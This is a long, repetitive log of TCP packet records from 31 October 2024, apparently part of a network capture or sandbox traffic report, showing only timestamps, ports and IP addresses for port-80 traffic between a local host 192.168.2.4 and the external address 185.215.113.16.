Oct 31, 2024 23:38:10.277715921 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277726889 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277729988 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277735949 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277746916 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277755022 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277779102 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277836084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277851105 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277862072 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277870893 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277873039 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277882099 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277890921 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277896881 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277905941 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277915955 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277920008 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277925968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277935028 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277937889 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277945042 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277955055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277959108 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277964115 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277973890 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277980089 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.277996063 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.277997971 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.278006077 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.278011084 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.278014898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.278024912 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.278033018 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.278036118 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.278048038 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.278057098 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.278057098 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.278065920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.278067112 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.278076887 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.278086901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.278094053 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.278096914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.278105974 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.278119087 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.278162003 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.356081963 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.356091976 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.356111050 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.356120110 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.356128931 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.356138945 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.356173992 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.356240034 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.356250048 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.356283903 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.356329918 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.356368065 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.356957912 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.356969118 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.356977940 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.357007027 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.357016087 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.357026100 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.357028961 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.357053041 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.357062101 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.357322931 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.357332945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.357342958 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.357363939 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.357373953 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.357464075 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.357474089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.357481956 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.357506990 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.357517004 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360255003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360264063 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360274076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360284090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360294104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360301971 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360304117 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360315084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360323906 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360325098 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360335112 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360342026 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360343933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360359907 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360375881 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360492945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360502958 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360512018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360539913 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360549927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360553026 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360560894 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360585928 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360610008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360620022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360652924 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360661983 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360697031 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360717058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360757113 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360770941 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360780954 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360789061 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360816956 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360831022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360836983 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360841036 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360855103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360865116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360867977 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360894918 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360917091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360927105 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360935926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.360965967 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.360976934 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361001968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361011982 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361043930 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361074924 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361084938 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361120939 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361146927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361157894 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361186981 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361208916 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361217976 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361227036 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361236095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361246109 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361255884 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361258030 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361267090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361270905 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361289024 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361305952 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361329079 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361370087 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361383915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361393929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361423969 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361439943 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361449957 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361459970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361475945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361480951 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361485958 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361495018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361499071 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361519098 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361541033 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361569881 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361610889 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361912012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361949921 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361955881 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361960888 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.361987114 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.361995935 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362024069 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362034082 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362042904 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362054110 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362066031 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362090111 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362114906 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362124920 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362133026 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362142086 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362155914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362157106 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362165928 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362179995 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362180948 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362190008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362190008 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362198114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362207890 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362217903 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362220049 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362227917 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362232924 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362237930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362260103 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362281084 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362315893 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362324953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362334013 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362344980 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362358093 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362358093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362375021 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362380981 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362382889 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362391949 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362395048 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362401962 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362411022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362415075 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362427950 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362437963 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362438917 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362447977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362461090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362469912 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362483025 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362488985 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362498999 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362507105 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362509012 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362515926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362528086 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362528086 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362540960 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362546921 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362550020 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362560987 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362567902 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362586021 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362597942 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362607956 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362648010 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362653017 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362663031 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362693071 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362710953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362720013 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362755060 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362847090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362857103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362865925 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362890959 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362900972 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362917900 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362927914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362937927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362952948 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362961054 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.362962961 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362973928 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.362983942 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.363003016 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.363070011 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.363112926 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.363176107 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.363184929 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.363193989 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.363203049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.363214016 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.363221884 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.363224983 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.363246918 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.363256931 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.389352083 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.389362097 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.389370918 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.389405966 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.389410973 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.389415979 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.389425039 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.389431953 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.389456034 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.389466047 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.389795065 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.389839888 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.389873981 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.389882088 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.389890909 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.389919043 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.389936924 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390201092 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390212059 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390223980 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390244961 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390268087 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390352964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390362024 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390371084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390387058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390397072 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390398026 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390407085 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390418053 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390422106 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390427113 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390428066 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390470982 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390491962 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390647888 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390657902 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390666008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390692949 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390713930 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390800953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390810013 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390819073 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390845060 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390866995 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390894890 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390903950 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390913010 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390923023 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390933037 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.390938997 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390964031 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.390971899 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391124010 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391134024 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391143084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391165018 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391189098 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391189098 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391199112 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391208887 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391217947 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391221046 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391238928 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391247034 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391304970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391319990 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391328096 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391345024 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391371965 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391429901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391439915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391448975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391458035 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391468048 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391477108 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.391479969 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391490936 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.391494989 CET	49806	80	192.168.2.4	185.215.113.16
